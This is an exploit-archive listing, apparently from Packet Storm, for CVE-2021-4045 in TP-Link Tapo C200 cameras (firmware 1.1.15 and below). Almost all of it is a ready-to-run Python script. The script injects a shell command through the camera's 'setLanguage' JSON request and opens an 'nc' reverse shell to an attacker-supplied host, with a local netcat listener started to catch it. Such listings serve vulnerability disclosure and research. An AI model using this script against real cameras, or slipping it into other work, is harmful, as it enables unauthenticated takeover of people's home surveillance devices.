TP-Link Tapo c200 1.1.15 Remote Code Execution

TP-Link Tapo c200 version 1.1.15 suffers from a remote code execution vulnerability.


SHA-256 | 8e68cc2b8496ad99d86b7b36d04b8055a2811ee41b6746feca8d8f15c304f133

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# Exploit Title: TP-Link Tapo c200 1.1.15 - Remote Code Execution (RCE)
# Date: 02/11/2022
# Exploit Author: hacefresko
# Vendor Homepage: https://www.tp-link.com/en/home-networking/cloud-camera/tapo-c200/
# Version: 1.1.15 and below
# Tested on: 1.1.11, 1.1.14 and 1.1.15
# CVE : CVE-2021-4045

# Write up of the vulnerability: https://www.hacefresko.com/posts/tp-link-tapo-c200-unauthenticated-rce

import requests, urllib3, sys, threading, os
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

PORT = 1337
REVERSE_SHELL = 'rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc %s %d >/tmp/f'
NC_COMMAND = 'nc -lv %d' % PORT # nc command to receive reverse shell (change it depending on your nc version)

if len(sys.argv) < 3:
    print("Usage: python3 pwnTapo.py <victim_ip> <attacker_ip>")
    exit()

victim = sys.argv[1]
attacker = sys.argv[2]

print("[+] Listening on %d" % PORT)
t = threading.Thread(target=os.system, args=(NC_COMMAND,))
t.start()

print("[+] Serving payload to %s\n" % victim)
url = "https://" + victim + ":443/"
json = {"method": "setLanguage", "params": {"payload": "';" + REVERSE_SHELL % (attacker, PORT) + ";'"}}
requests.post(url, json=json, verify=False)

Source: packetstormsecurity.com
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